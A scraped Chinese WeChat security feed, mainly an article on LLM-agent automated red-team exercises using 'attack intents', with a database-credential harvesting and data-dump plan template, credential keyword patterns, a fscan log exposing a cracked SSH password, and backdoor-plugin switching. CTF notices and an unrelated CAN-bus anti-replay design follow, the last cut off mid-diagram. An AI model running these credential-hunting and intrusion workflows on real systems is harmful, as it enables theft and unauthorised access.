-报告最终状态并总结已完成的工作
注意：此命令假定 tasks.md 中存在完整的任务分解。如果任务不完整或缺失，请建议先运行`/speckit.tasks`以重新生成任务列表。

在执行过程中会借助agent的能力来实时对tasks.md来进行编辑，从而更新最新的进展，并且当所有任务执行完成之后会低根据phase中的标准来进行验收

这里的上下文管理其实是值得学习的，就是我们显性的将任务的流程和实时的进展通过文件来进行更新，效果会好很多，我们可以维护两个文档，一个是context.md另一个是task.md在task.md中记录任务的执行完成情况，让ai知晓目前执行到哪个阶段也是非常重要的

3.3 小节

spec-kit带来的其实是一套通过规范为底座驱动的Agent执行流程的方式，spec-kit中的prompt写的非常专业，通过借助prompt和template的方式实现让ClaudeCode等AI工具在我们构建的标准内准确执行，从而实现在一定程度上解决了AI走向无法预测的问题

4. 意图执行：ClaudeCode

项目介绍

项目名称：ClaudeCode

项目链接：https://github.com/anthropics/claude-code

项目逆向源码：https://github.com/shareAI-lab/analysis_claude_code

项目描述：非常知名的通用Agent工具，不需要过多的介绍了

其实在内外部都有非常多的人分析了ClaudeCode，包括内部ATA文章：https://ata.atatech.org/articles/11020447644?spm=ata.23639746.0.0.11bf559895Ur3s

这些其实我不会着重介绍，因为大家都介绍过了，我这次主要是想基于claude最近几个月发布的一些文章，希望能给大家带来一些输入

下面的这些方法其实从抽象的角度来看，Claude一直都在解决过长上下文所带来的整体效果下降的问题，claude包括manus之前也有对应的文章提过，当内容过长的时候就会造大模型对于上下文的丢失情况，处于中间部分的上下文就会缺失，因为例如通过问题重复述，以及切换上下文块这个方式来进行实现

不过在我看来对于大模型来说，能够让大模型专注在输入内容上的上下文的空间并不是无限的，但是随着通用agent功能的不断复杂多样化（更多的agent、海量的工具），导致上下文空间变的非常紧张，所以claude一直在通过各种方法来进行上下文空间的处理，通过将精准有效的信息放置在上下文中从而不断提升整体的能力

4.1 Claude.md

当命令行输入>/init的时候，ClaudeCode就会阅读当前的项目结构，并且在当前项目的根目录下创建一个Claude.md文件

这个其实通俗的来说相当于就是用md文件来做了初始的上下文，然后后续有任何需要修改的地方其实都可以在文件上直接进行追加修改，这其实也是一种减少上下文侵占空间的一种方式

其实我觉得这是一个非常好的作为概述的方式，我们可以通过文件的形式将我们的任务背景等情况保存下来，通过构建对应的语境来将内容提供给大模型

4.2 利用文件系统作为上下文

传统的上下文例如langgraph、langchain等Agent框架，在实现上下文的过程中其实就是直接历史的一些任务回复信息、工具调用信息拼接在我们输入的prompt后面，这种情况在解决简单场景下其实是够用的，因为我们在解决任务的过程中并不会遇到token数量过长导致效果降低的情况，但是当我们解决复杂问题的时候上下文窗口就变得非常的重要。

当超过一个上下文的阈值的时候模型读到的不再是全文，而是支离破碎的token，因为传统Attention的成本非常高，所以像deepseekv3的论文中提到的稀疏注意力机制就是用到了一个indexer将2000个左右的相关token纳入上下文，从而降低了计算复杂度

但是当我们使用文件系统来作为上下文的话，整体的大小就不会收到限制，并且天然保持持久化，我们可以在prompt或上下文中添加对文件的引用，那么agent在读取过程中就会额外的去按需加载我们的上下文信息

例如之前的prompt直接通过引用的方式来进行加载

3.**执行任务生成工作流**：
—加载 plan.md 并提取技术栈、库、项目结构
—加载 spec.md 并提取带有优先级的用户故事（P1、P2、P3 等）
—如果存在 data-model.md：提取实体并映射为用户故事
—如果存在 contracts/：将端点映射为用户故事
—如果存在 research.md：为设置任务提取决策
—按用户故事生成任务（见下方的任务生成规则）

并且当我们将内容信息都存储到外部文件的过程之后我们甚至可以通过重启agent来进行实现，举个例子，当我们检测到当前的token信息快达到了上限，我们可以直接close当前的session，并且重新开启一个上下文。通常我们都会这么做我们会维护两个文件，然后在每轮对话过程中我们携带着两个文档，

1. task.md任务文档，用来记录当前任务的执行情况

2. 进度文档，用来实时进行对进度的打勾

这样我们通过将文档作为记忆，从而解决传统内存侧上下文因为agent退出而丢失的情况，并且新的对话也避免了历史错误的影响

4.3 ProgrammaticToolCalling

这个其实算是比较新颖的一种方式，但是在使用场景中还是需要去判断，但这个方式其实并不是银弹，先来展开介绍一下这个PTC吧

传统工具调用的过程中必然会经历以下三个过程

1、工具注册，将工具的描述，以及对应的输入参数提供给LLM

2、LLM基于当前的场景分析判断调用哪个工具，并且传递对应的参数

{
      "tool_name": "web_search",
      "params": {
        "domain": "https://www.aliyun.com"
      }
    }

3、然后工具接收到参数之后进行调用然后返回结果

其实从单次来看这个流程很正常，但是如果Agent需要串行执行多个工具那么在复杂场景下就会造成上下文的拥挤，并且在调用过程中也会非常慢。

但是如果我们直接让LLM来做最擅长的事情，写代码那么就可以快速执行并且节省大量Token信息,在这个场景下可以直接通过mcp在sandbox中进行代码执行，并且快速获取结果

output = functionA("xxxx")
result = funcationB(output)
print(result)

但是如果遇到一些过程中的结果需要AI来进行判断的话那么有可能还是需要回到Agent的阅读思考这部分，但是目前PTC这种方式已经可以解决绝大部分场景的工具调用了

4.4 ToolSearchTool

文章来源：https://www.anthropic.com/engineering/advanced-tool-use

工具注册信息我们直接拼接到prompt后面就可以了，为什么claude还要提出toolsearchtool这样的方式，其实都是为了解决实际的问题

下面是我拿演练的部分代码进行举例，可以看到我们原先都是直接将工具的描述直接通过拼接在prompt后面来给到LLM的

我们通常的工具描述是如下这样，可以看到又有描述，又有参数

那么如果工具少的话其实并没有什么影响，但是如果我们有上百个上千个工具需要让Agent来去进行使用，我们应该怎么办呢，如果我们直接将所有的内容全部塞到上下文空间中，那么直接会占用非常多有效的空间，而且往往单次调用的过程中只会调用其中的几个那么很多都会造成浪费，最终影响我们Agent任务完成的效果。

Claude注意到了这个问题，因为实现将所有工具进行注册至少需要55k以上的token的占用，所以Claude通过实现了一个专门用来搜索工具的“工具”这个工具的描述有可能只需要占用500个左右的token，当Agent需要调用工具的时候，通过调用这个“搜索工具”然后将返回的5-10个工具来进行注册调用，从而大大减少了整体的Token消耗。

但是说到这里其实还是有一些模糊，核心的搜索逻辑是什么，以及沃们如何从海量的插件中找到符合我们要求的5-10个插件呢，这里可以结合Manus的一些做法，在Manus中对工具通过前缀进行了大类的区分，例如Brower类的插件都是以为brower__开头的，那么我们的搜索工具只需要搜索特定开头就可以了。

同时搜索工具也可以是一个Agent，我们利用前缀匹配+描述RAG也能很有效的筛选出符合要求的插件，我们可以直接借助描述信息来去对插件内容缩小范围

4.5 ClaudeSkills

其实一开始我其实并不理解为什么还要弄出来一个skill的概念,因为在我之前看来我用prompt和toolcall一样可以实现

为什么claude需要skill，因为claudecode其实在现在的使用过程中越来越是作为一个通用Agent的角色来去完成任务的，在以往执行任务的过程中我们往往需要通过prompt或者对话来给一个角色定义「例如：你是一个网络安全专家……」那么其实我们的Agent和我们的场景是强关联的，我们在不同的场景下来构建不同的Agent

但是随着能力的越来越强，我们逐渐可以用Claude来解决各种问题，不仅仅是以写代码的方式

那么在实际处理过程中就会遇到一些问题，我这里以一个通俗的例子来进行举例，我是一名安全工程师，在原有角色设定场景下我聚焦于解决安全类的相关问题，但是在日常工作中，我并不只完全做安全相关的事情，我还会写ppt、写文章、读excel，但是这一些在原有的场景下，如果没有skill的支持，我们其实很难去做这些。

所以skill就是相当于技能包，告诉Agent你并不仅仅只会网络安全，你还会其他的技能。

下面是一个skill的具体demo，skill是一个文件夹，里面有对应的工具，以及对应的技能包介绍

但是随着skill的不断扩充，也会存在上下文侵占的问题，claude这边通过只提供skill的metadata信息，来让claude在实际场景中按需来加载skill来解决实际的任务问题

5. Agent未来的发展

这部分纯属是我自己瞎YY的，欢迎大家一起讨论。

现在大部分Agent的利用其实基本上还处于专家模型的阶段，针对各种定制化的场景去编写对应的prompt并且注册对应的工具。但是随着例如Anthropic、Openai等各个厂商的不断探索，未来的Agent通用能力会越来越高，也会逐渐摸索到Agent能力的边界。

所以未来有可能就是我们只需要编写Skill、准确表达出我们的意图，那么Agent自然会自动化的完成整个任务的执行，包括现在其实也有越来越多的项目采用了这种方式，做好前半部分的意图拆解，然后直接将最小化任务给到ClaudeCode来执行，将其作为最小化的执行单元。

再想的远一点，LLM-as-OS，大模型就相当于操作系统的内核，负责调度、分配、管理内存。中间通过某些方式进行抽象，对外暴露接口，统一化的注册各种工具

6. 基于攻击意图的自动化演练

前面介绍Agent相关的其实说了非常多了，那么在这个章节让我们回归正题，来介绍基于意图工程的自动化演练落地的探索

6.1 思路

既然说是落地那么就是代表着需要在实际的生产网上进行自动化演练，我的构建思路并不是完全的让AI去自动化启发式的来进行发现执行，而且我觉得目前LLM在上下文缺失的场景下没有办法去做像攻击队那样的发散。

在上一次分享中，Agent的介入思路是，基于DAG的图固定执行+基于LLM的机会探索，但是发现这样在实际演练中真的是碰运气，如果一些手法没有事先编排好那么就不会执行，也就没有机会这一说了，所以在当前演练的基础上，加入了攻击意图，从而实现主线任务+支线任务的形式

6.2 困难

在实现过程中其实遇到了非常多的困难，Agent这块很多时候其实大家都觉得原理非常的简单就是Prompt+LLM+工具+RAG等等，但是具体实现过程中会遇到很多问题，同样的在构建自动化演练过程中我也遇到了各种问题，接下来我会结合架构和问题来整体介绍自动化演练如何落地

问题：

1. 基于LLM的演练期间非常的碰运气，东打一下西打一下，运气好就发现了宝藏，运气不好就没办法，缺少整体的主线

2. 演练期间业务环境完全黑盒，事先构建的插件存在各种执行失败的可能，如何确保演练周期下的成功率

3. 期间发现了新的脆弱节点、资产，如何动态的添加

4. 在攻击过程中如何让Agent能从海量攻击插件中准确选择出我们想要的？

5. ……

6.3 架构

虽然我一直在做自动化演练但是其实自动化演练底层已经完成了三次大版本的迭代

阶段一：基于预设剧本的自动化演练（解决人工演练->自动化演练的问题，痛点：机械、无法基于场景来灵活应变）

阶段二：基于机会主义探索的自动化演练（Agent能力初步接入，能发现并利用过程中的价值信息。痛点：缺少演练核心主线，最终目的地无法控制，处于发散阶段）

阶段三：基于攻击意图的自动化演练（意图工程接入，在发散基础上增加主线意图的控制，相当于导航中能够给到目的地，从而实现演练贴合意图去进行）

下面是我自动化演练的整体架构，画的比较简单，其实主要就是三部分

1. 自动化执行DAG图中的插件

2. Plugin结果Agent分析

3. 节点维度意图分析

6.4攻击意图

首先来解释一下什么是攻击意图，通俗的来说就是本次攻击想要达成什么样的效果，下面举几个例子

例：通过窃取数据库敏感信息、通过信息搜集获取数据库连接串获取敏感信息、通过泄漏AK批量获取机器权限

所以在这里攻击意图其实就是我本次演练想要完成什么目的，我们可以是拖库也可以是批量控制机器，也可以是漏洞摸排等等

基于我们输入的攻击目标并生成的对应的具体任务其实就是意图理解，最关键的是我们需要对拆解后的phase增加验证的节点，也就是下面的完成标准

通过输入+RAG+Agent+模版我们就能实现自动化生成对应的攻击计划，也就是我们的主线任务

##攻击目标
本次攻击计划的攻击目标是：在不破坏线上业务的前提下，通过收集目标Linux服务器上可能泄漏的数据库连接凭证，解密必要信息，最终建立合法数据库连接并安全地获取数据库元数据或有限业务数据，用于评估数据泄露风险。
##目标拆解
###Phase1
—[Reconnaissance]:收集潜在数据库连接凭证信息
目标:在目标服务器上识别并提取所有可能包含数据库连接信息的来源，包括配置文件、环境变量等
验证标准:成功识别至少一个有效的数据库连接信息源（如包含数据库类型、地址、端口、用户名、密码或可解密密文）
**任务清单**
-任务ID: T001  
任务描述:扫描本地文件系统中常见的配置文件路径（如/etc/,/opt/,/home/,应用部署目录等），搜索包含数据库连接串关键词（如 jdbc:, mysql://, postgresql://, password=, db_url 等）的文件
完成标准:发现至少一个包含数据库连接信息的配置文件，并记录其路径与内容片段
-任务ID: T003 
任务描述:检查内存进程、环境变量（env 命令）、启动脚本中是否存在数据库连接信息
完成标准:提取到至少一条结构化的数据库连接信息（含类型、地址、端口、凭据等字段）
---
###Phase2
-[CredentialAccess]:解密或解析获取到的数据库凭据
目标:对Phase1中获取的加密凭据进行解密，还原出可用的数据库连接凭证
验证标准:成功还原出完整的数据库连接四要素（地址、端口、用户名、密码/Token）
**任务清单**
......
-任务ID: T007  
任务描述:对所有已获取的连接信息（包括明文和解密后内容）进行标准化处理，归一化为{db_type, host, port, username, password, database}结构
完成标准:至少生成一条结构完整、字段齐全的数据库连接对象
---
##
#Phase3
-[Execution+Collection]:建立数据库连接并安全获取数据
目标:在确认代理隧道可用的前提下，使用合法连接串连接目标数据库，并仅执行只读查询以获取元数据或有限业务数据
验证标准:成功建立数据库连接，并返回数据库版本、表结构或指定表的部分只读数据（不超过100行）
**任务清单**
.......
-任务ID: T009  
任务描述:根据数据库类型（MySQL/PostgreSQL/Oracle等）选择对应的数据库利用插件，传入连接参数及代理信息（如需要），执行连接测试
完成标准:插件返回连接成功状态，并能执行基础 SQL 查询（如 SELECT 1）
-任务ID: T010  
任务描述:执行只读信息收集：获取数据库版本、当前用户权限、可用数据库列表、目标库的表结构（information_schema）
完成标准:成功返回数据库元数据，且未触发写操作或删除类语句
-任务ID: T011  
任务描述:若业务允许且风险可控，对高价值表（如 user, config, token 表）执行 LIMIT 100的只读查询，验证数据敏感性
完成标准:返回不超过100行的业务数据样本，且操作日志可追溯、无破坏性
---

我们在攻击初期就会基于用户输入的意图来自动化生成上面的演练任务文档，但是我并不会让自动化演练只按照这个任务来去进行执行，我期望他和随机演练那部分尽可能的保持独立，这个task.md其实在我看来更像是一个“路书”，因为在演练期间，执行的对应的信息都会被记录到context.md,相当于实时记录目前所走的“轨迹”。

每当一个节点执行完之后，Agent会将轨迹线路和我们最开始提供的路书来进行提供，判断当前的轨迹有没有基于我们设想的路径来走

下面是演练期间context.md记录的信息

如果没有根据我们的来走其实没关系，当每个节点执行完之后，Agent会进行介入

1. 阅读context.md和task.md通过比对来判断当前处于哪个阶段，并且AI能够根据描述来去自动寻找插件库

1. 对应的下游会消费任务来进行执行，并且将结果重新给到上游来进行判断

2. 上游会基于任务中的完成标准来判断当前任务是否执行成功，只有执行成功了才会进行下一阶段的执行

3. 如果执行失败了则直接会返回阶段失败

   

   通过引入攻击意图的方式从而实现能够让自动化演练过程中也能拥有主线，能够根据所导航的目标来进行靠近。

   在上一版本的自动化演练中，虽然通过引入了Agent实现了机会主义的探索，但是无法向我们的目标来逼近

6.5 上下文管理

在我的自动化演练中我的上下文主要分为两部分：

1.基于内存的局部上下文

2.基于全局的文件持久化上下文

6.5.1 局部上下文

局部上下文主要就是当Agent遇到输入之后当前这一个事件循环中的临时上下文，因为我们只需要处理单次的事件所以上下文篇幅不会很长，在这里上下文的作用就是传递子任务的执行结果

还是以拖库为例我们来举个例子：输入的是含有数据库连接串的相关信息

1.  Task1:提取连接串

2.  Task2:提取账号密码

3.  Task3:查看数据库联通情况是否需要开启网络代理

4.  Task4:连接数据库进行数据获取

从上面的任务可以看到其实任务之间其实是环环相扣的，也就是下一个任务的执行所需要的数据是基于上一个任务的输出，所以我们需要将历史任务执行、工具调用的情况都记录在上下文中，以便在后续任务执行的过程中能够顺利的完成

从下面的图中可以明显的看出上一个任务的输出作为下一个任务的输入

同时局部上下文也能够让后续执行的subAgent知晓当前任务执行的情况，当输入一个信息后会先经过planagent的规划，规划的任务就会存储到一个变量中plan:List[str:Any]

然后下游就通过遍历任务来进行执行，并且在执行中会去判断是否已经完成当前任务，如果完成当前任务就返回FINISH进行退出，执行期间会记录历史任务执行情况，以及历史工具调用情况

6.5.2 全局上下文

由于在我的演练流程中，Agent会不断的重启，所以需要一种持久化的方式来将演练全局的信息来进行存储，同样也是为了前面提到的意图工程来做铺垫

在全局上下文中，我会基于节点的父子关系、ip、应用分组、以及对应执行的插件情况，但是在这里我不会直接将结果进行全部的记录，我会通过Agent来提炼关键信息，因为全局场景上下文空间就会变得很重要，我需要尽可能的提出额外的噪音

举个最直接的例子：fscan扫描场景

下面是fscan扫描的结果输出情况，其实在我们的观察中最关键的只有一条，那就是[+]SSH10.1.0.29:22:jenkinsjenkins@2025其他的其实都是无效的干扰信息

 ___                              _    
/ _ \     ___  ___ _ __ __ _  ___|| __ 
//_\/____/ __|/ __|'__/ _`|/ __||//
//_\_____\__ \ (__|||(_||(__|<
\____/|___/\___|_|  \__,_|\___|_|\_\   
                     fscan version:1.8.3
start infoscan
(icmp)Target10.1.0.30       is alive
(icmp)Target10.1.0.29       is alive
(icmp)Target10.1.0.26       is alive
(icmp)Target10.1.0.27       is alive
(icmp)Target10.1.0.253      is alive
[*]Icmp alive hosts len is:5
10.1.0.30:22 open
10.1.0.29:22 open
10.1.0.27:22 open
[*] alive ports len is:3
start vulscan
[+] SSH 10.1.0.29:22:jenkins jenkins@2025
已完成3/3
[*]扫描结束,耗时:9.522797582s

所以在记录上下文的过程中，我们让Agent来提炼其实就是下面这么一条很简单的一句话

1.**Fscan扫描插件**[演练插件]✅
-参数:{"ip":"10.1.0.30"}
-结果: fscan 1.8.3扫描发现5个存活主机，其中3台开放22端口；成功爆破SSH服务（10.1.0.29:22），获取账号密码：jenkins/jenkins@2025。

所以在全局上下文中，我会尽可能保留关键的信息，从而让后续的攻击意图判断更加的准确，知晓目前已有的成果是什么，已具备的一些信息有哪些，来帮助后续的意图的执行

6.6 演练灵活性

6.6.1 插件自切换

由于自动化演练是在线上进行执行的，所以我们在打之前其实是不知道机器的业务环境到底是怎么样的，然而我们的DAG图节点中的插件其实是事前随机编排好的，那么在执行过程中必然会遇到因环境因素而导致的执行失败，例如网络不通、待执行的命令不存在的情况。

针对这种情况基于ATTCK阶段和Agent可以解决，由于我在设计机制的时候，Agent会在每个插件执行结束之后以callback的方式来触发，所以Agent能解析判断插件的执行结果，如果研判存在失败，那么Agent就会从插件库中根据当前插件的ATT&CK阶段来重新调用执行

同时在重新选择插件的过程中Agent会先基于报错信息进行环境探测，然后再基于探测后结果选择对应的插件

例：HTTP后门执行->网络不通失败->ATT&CK-执行阶段->基于插件描述选择OSS后门->后门成功上线

6.6.2 节点自添加

同时我在攻击过程中其实还会有可横向移动的情况，例如扫描发现JDWP，那么发现了脆弱点自然就需要进行拓展，由于其实演练所有的节点执行逻辑都在DAG图中，所以我这里直接封装了一个可以添加图节点的工具，然后注册给Agent，那么当Agent发现存在横向移动的可能性时，就会将新发现的节点添加到DAG图中

原来场景下最大的问题就是不同扫描器的结果都不一致纯代码很难去做统一准确的解析，但是在大模型场景下其实可以很好的利用理解的特性来帮助我们进行解决

要支持这个功能我只需要在prompt中这样简单添加即可

6.7 海量插件调用

在实际构建过程中其实还有一个问题，工具数量过多，从而极大的占据了上下文有限的空间，因为光锥平台上一共有700+插件，我试着将所有的插件都塞到prompt中，但是带来的结果是灾难性的，问答时间大大加长了不谈，筛选出来的效果也非常差，随着上下文的增长模型的能力会骤然下降

当超过一个上下文的阈值的时候模型读到的不再是全文，而是支离破碎的token，因为传统Attention的成本非常高，所以像deepseekv3的论文中提到的稀疏注意力机制就是用到了一个indexer将2000个左右的相关token纳入上下文，从而降低了计算复杂度

所以这也就为什么claude会通过toolsearchtool的方式来进行压缩处理，针对我这类场景我通过两个方式来缓解，并且目前的效果比较不错：RAG初筛+Agent精筛

我会直接将Agent返回的描述，进行传入，先通过RAG来进行匹配，为了提升RAG效果我们的插件文档也需要提供更多的信息，经过测试图2的效果明显优于图1，其实就是我们要在向量化搜索的时候增加到匹配的可能性，甚至可以增加一些关键词来加大索引到的几率，然后将返回的top10-20个插件基于Agent和权重数据库来进行排序选择后缩小范围，动态注册到prompt中，这样既能减少插件被错选的可能性，同时也可以极大程度的减少对上下文长度的影响

原始插件描述：

扩写后的插件描述

7. 落地效果

在意图工程的加入下，能够实现近10次演练中，至少完成1次目标达成

录制了一个视频但是因为是对内的所以这边就不放了哈

测试集执行->利用LLM发现额外路线（不稳定）->基于意图的一定频次下稳定达成

8. 参考链接

https://mp.weixin.qq.com/s/T5UgWtoxGy9B4qZ_uY-tGg

https://mp.weixin.qq.com/s/Yvk1iPehw4DzVR69XGc_aQ

https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents

https://www.anthropic.com/engineering/advanced-tool-use

https://www.kaggle.com/whitepaper-introduction-to-agents

阅读原文

跳转微信打开

白帽一百安全攻防实验室祝各位师傅中秋快乐，合家幸福！！

跳转微信打开

WMCTF2025圆满落幕

阅读原文

跳转微信打开

比赛链接：https://wmctf.wm-team.cn/

比赛时间：2025年09月20日 10:00 (UTC+8) ~ 2025年09月21日 10:00 (UTC+8)

QQ群：727697644

邮 箱：ctf[AT]wm-team.cn

Discord: https://discord.gg/UrYYynD5ww

合作伙伴：陌陌安全、永信至诚

跳转微信打开

比赛链接：https://wmctf.wm-team.cn/

比赛时间：2025年09月20日 10:00 (UTC+8) ~ 2025年09月21日 10:00 (UTC+8)

QQ群：727697644

邮 箱：ctf[AT]wm-team.cn

Discord: https://discord.gg/UrYYynD5ww

合作伙伴：陌陌安全

跳转微信打开

WMCTF2025 翩然而至

阅读原文

跳转微信打开

一个几乎百搭、不改架构、低成本就能落地的整车防重放方案，不是什么颠覆性创新，但或许能给大家带来一点启发：

把原来单独的业务指令（业务帧）变成一个 “指令+动态密码” 的组合，这个 “动态密码” 被打包在一个单独的帧里，这里称为认证帧。因为认证帧和指令帧绑定且紧随其后，就像影子一样，所以这里就叫它 “影子认证帧”

也就是说，要实现该方案只需要给每一个关键控制帧后面额外增加一帧即可。如果觉得单纯计数器不够安全、本身没有用CANFD、想低成本短时间满足要求的可以参考本文。下面，给大家解析这个方案该如何开展

确定保护范围

因为方案是基于“庞大的整车电子电气架构牵一发而动全身，改造起来成本高昂、协同困难或没有多余的数据场位做校验”的原因考虑，所以在开始实施的阶段，我们只需要筛选出一些需要防重放的报文，而不是所有：

•识别网络中所有需要防重放保护的关键控制功能（可以根据TARA也可以自己凭经验列举）•列出这些关键帧的CAN ID清单

影子认证帧ID分配规则

筛选出清单后，需要为清单中的每一个关键帧CAN ID (x) 分配一个唯一的影子认证帧CAN ID (x')

分配规则：x' = x + Base_Numb（例如，Base_Numb = 0x100），或根据预定义的映射表进行分配

前置条件：必须确保所有分配的 x' 不与网络中任何现有帧ID发生冲突，需要查询整车CAN矩阵进行确认

示例：需要做防重放的关键帧ID为0x100，那么根据前面分配规则说到的公式0x100 + 0x100 = 0x200，分配的影子认证帧ID就为0x200

影子认证帧数据结构

参照标准CAN格式，统一影子认证帧的数据场格式为8字节，具体定义如下：

算法和密钥管理

•为了方便管理，统一加密算法为AES128-CMAC（或其他算法）•为所有关键帧ID(x)分配一个统一的加密密钥(key) //实际上应该是为每一个关键帧ID单独分配密钥更安全，但考虑到大多数不想这么麻烦，所以可以改成统一密钥•通过安全刷写将密钥 (key) 写入发送ECU和接收ECU的安全存储中，如果没有条件存储，可以将密钥编码在固件中

技术实现

发送端ECU实现

发送端需要在原有发送流程中集成以下步骤：

1.当应用层请求发送受保护的关键帧(s)时，获取当前计数器值(ctr)以及当前时间片 Time_Stamp

2.构造CMAC计算所需的输入数据：Input = s.ID (2B) || s.DATA (8B) || ctr (1B) || Time_Stamp (1B) //此处时间戳假设为1个字节，如果不够，根据情况扩充

3.使用密钥(key)计算CMAC：Full_Tag = CMAC(key, Input)

4.截取Full_Tag的前16个比特位作为本次发送的认证标签(Tag16) //2个字节，填充高低位

5.先发送业务帧(s)

6.然后发送影子认证帧(x')，数据场按数据结构的定义格式填充：

[ctr, Tag_H, Tag_L, Time_Stamp, 0xAA, 0xAA, 0xAA, 0xAA]

7.发送成功后，更新计数器(ctr)

逻辑流程图如下

graph TD
    A[开始发送] --> B[获取ctr和Time_Stamp]
    B --> C[构造CMAC输入数据]
    C --> D[计算并截取Tag16]
    D --> E[发送业务帧s]
    E --> F[发送影子认证帧x']
    F --> G[更新计数器]
    G --> H[结束]

接收端ECU实现

接收端需要实现一个新的验证状态机制：

1.当收到业务帧(s)时，将其数据副本与接收时间戳存入缓存池，并暂停该帧的应用层处理

2.启动一个定时器（根据业务和网络负载调整），等待对应的影子认证帧(x')

3.超时处理：若超时仍未收到(x')，则从缓存中丢弃该业务帧(s)，不再处理

4.若收到影子认证帧(x')：

a. 从缓存中查找与之匹配的业务帧(s)

b. 从(x')数据场中提取 ctr_recv 和 Tag16_recv以及Time_Stamp_recv

c. 使用密钥 (key)、缓存的s.ID、s.DATA 以及提取的 ctr_recv、Time_Stamp_recv，按照发送流程重新计算期望的认证标签(Tag16_calc)

d. 计算输入：Input_calc = s.ID (2B) || s.DATA (8B) || ctr_recv (1B) || Time_Stamp_recv (1B)

e. 计算：Tag16_calc = Truncate(CMAC(key, Input_calc), 16) //截断取前两个字节用作高低位

f. 验证对比：

•若 Tag16_calc != Tag16_recv，验证失败，丢弃业务帧(s)，不再处理•若 Tag16_calc == Tag16_recv，进行Time_Stamp有效性校验和计数器防重放检查

5.清除缓存中对应的业务帧(s)

6.更新计数器

逻辑流程图如下

graph TD
    A[收到业务帧s] --> B{帧s.ID是否在<br>受保护列表?}
    B -- 否 --> C[提交应用层处理]
    B -- 是 --> D[缓存s.ID与s.DATA<br>启动超时定时器]

    D --> E{在超时时间内<br>收到影子认证帧x'?}
    E -- 否 --> F[丢弃缓存帧s<br>（可选项）：触发超时告警]

    E -- 是 --> G[提取ctr_recv, Tag16_recv, Time_Stamp_recv]
    G --> H[根据缓存数据计算<br>Tag16_calc]
    H --> I{Tag16_calc ==<br>Tag16_recv?}
    I -- 否 --> J[认证失败<br>丢弃帧s]

    I -- 是 --> K{Time_Stamp_recv有效?<br>（等于或接近My_Time_Stamp）}
    K -- 否 --> L[时间片无效→重放攻击<br>丢弃帧s]

    K -- 是 --> M{ctr_recv有效?<br>（在预期狭小窗口内）}
    M -- 否 --> N[计数器无效→重放攻击<br>丢弃帧s]

    M -- 是 --> O[验证成功]
    O --> P[提交业务帧s至应用层]
    O --> Q[更新last_valid_ctr = ctr_recv]

    J --> R[结束]
    L --> R
    N --> R
    P --> R
    Q --> R

    subgraph 接收端统一清理
        R[清除缓存中本帧记录]
    end

示例

发送端：

场景： 100

1.业务帧(s)：

s.ID = 0x100
s.DATA = [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

2.获取静态配置：

•密钥 key = 0xsecretkey•影子认证帧ID x' = 0x200•当前计数器 ctr = 0x0B•当前时间片 Time_Stamp = 0x03

3.执行流程：

a. 拼接 Input： 0x100 + [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] + 0x0B + 0x03

b. 用 key计算 Input的CMAC，得到 Tag16

c. 发送第一帧（业务帧）：

ID=0x100, Data=[0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

d. 发送第二帧（认证帧）：

ID=0x200, Data=[0x0B, Tag_H, Tag_L, 0x03, 0xAA, 0xAA, 0xAA, 0xAA]

e. 将 0x100 对应的计数器加一，变为 0x0C

发送端示例流程图

flowchart TD
    A[应用层请求发送关键帧s] --> B[获取ctr和Time_Stamp]
    B --> C[构造输入数据: Input = s.ID + s.DATA + ctr + Time_Stamp]
    C --> D[计算Full_Tag = CMACkey, Input]
    D --> E[截取Tag16 = 前16位]
    E --> F[发送业务帧s]
    F --> G[发送影子认证帧x'<br>数据: ctr, Tag_H, Tag_L, Time_Stamp, 填充]
    G --> H[更新计数器: ctr = ctr + 1]
    H --> I[发送完成]

    subgraph 示例配置
        J[帧ID: 0x100]
        K[数据: 0100000000000000]
        L[计数器: 0x0B]
        M[时间片: 0x03]
        N[影子认证帧ID: 0x200]
        O[密钥: 0xsecretkey]
    end

接收端：

接收端自身维护一个当前的有效时间片值My_Time_Stamp（比如由网关同步或根据自身系统时间计算得出）和为每个发送源（或每个帧ID）维护一个最后有效的计数器值(last_valid_ctr)

校验流程：

1.总线收到一帧：ID=0x100, Data=[0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

a.接收端逻辑：这是受保护的关键帧s，我需要等待它的影子认证帧进行验证

b.动作：将这份数据s.ID 和 s.DATA 存入缓存池，并暂停对该帧的应用层处理，启动一个定时器（例如200ms）

2.总线收到下一帧：ID=0x200, Data=[0x0B, Tag_H, Tag_L, 0x03, 0xAA, 0xAA, 0xAA, 0xAA]

a.接收端逻辑：这是我正在等待对应 0x100 的影子认证帧

b.动作：

1）从缓存中查找影子认证帧对应的ID=0x100业务帧数据 2）从影子认证帧数据场中提取：

* ctr_recv = 0x0B
* Tag16_recv = 0x0102 (高字节0x01 + 低字节0x02) //Tag_H、Tag_L，此处假设是0102
* Time_Stamp_recv = 0x03

3.接收端开始重现发送端的计算过程：

a. Input_calc = s.ID (2B) || s.DATA (8B) || ctr_recv (1B) || Time_Stamp_recv (1B) //拼接输入 b. Full_Tag_calc = CMAC(key, Input_calc) //计算CMAC

c. Tag16_calc = Truncate(Full_Tag_calc, 16) //取前两个字节

4.比较 Tag16_calc (0x0102) 和 Tag16_recv (0x0102)，通过则下一步，不通过丢弃

5.检查时间片：比较Time_Stamp_recv和接收端自己的My_Time_Stamp，通过则下一步，不通过丢弃

6.检查计数器：接收端预期下一个计数器是 0x0B，收到的ctr_recv是0x0B，通过则执行动作，不通过丢弃

7.更新 last_valid_ctr = ctr_recv

接收示例流程图

flowchart TD
    A[收到业务帧s] --> B{受保护帧?}
    B -- 否 --> C[提交应用层]
    B -- 是 --> D[缓存数据并启动定时器]
    D --> E{收到影子认证帧?}
    E -- 超时 --> F[丢弃帧s]
    E -- 收到 --> G[提取ctr_recv, Tag16_recv, Time_Stamp_recv]
    G --> H[计算Tag16_calc]
    H --> I{标签验证?}
    I -- 失败 --> J[认证失败→丢弃]
    I -- 成功 --> K{时间片有效?}
    K -- 无效 --> L[时间片无效→丢弃]
    K -- 有效 --> M{计数器有效?}
    M -- 无效 --> N[计数器无效→丢弃]
    M -- 有效 --> O[验证成功]
    O --> P[提交应用层]
    O --> Q[更新last_valid_ctr]
    F --> R[清理缓存]
    J --> R
    L --> R
    N --> R
    P --> R
    Q --> R
    subgraph 示例数据
        S[业务帧: ID=0x100, Data=0100000000000000]
        T[影子认证帧: ID=0x200, Data=0B010203AAAAAAAA]
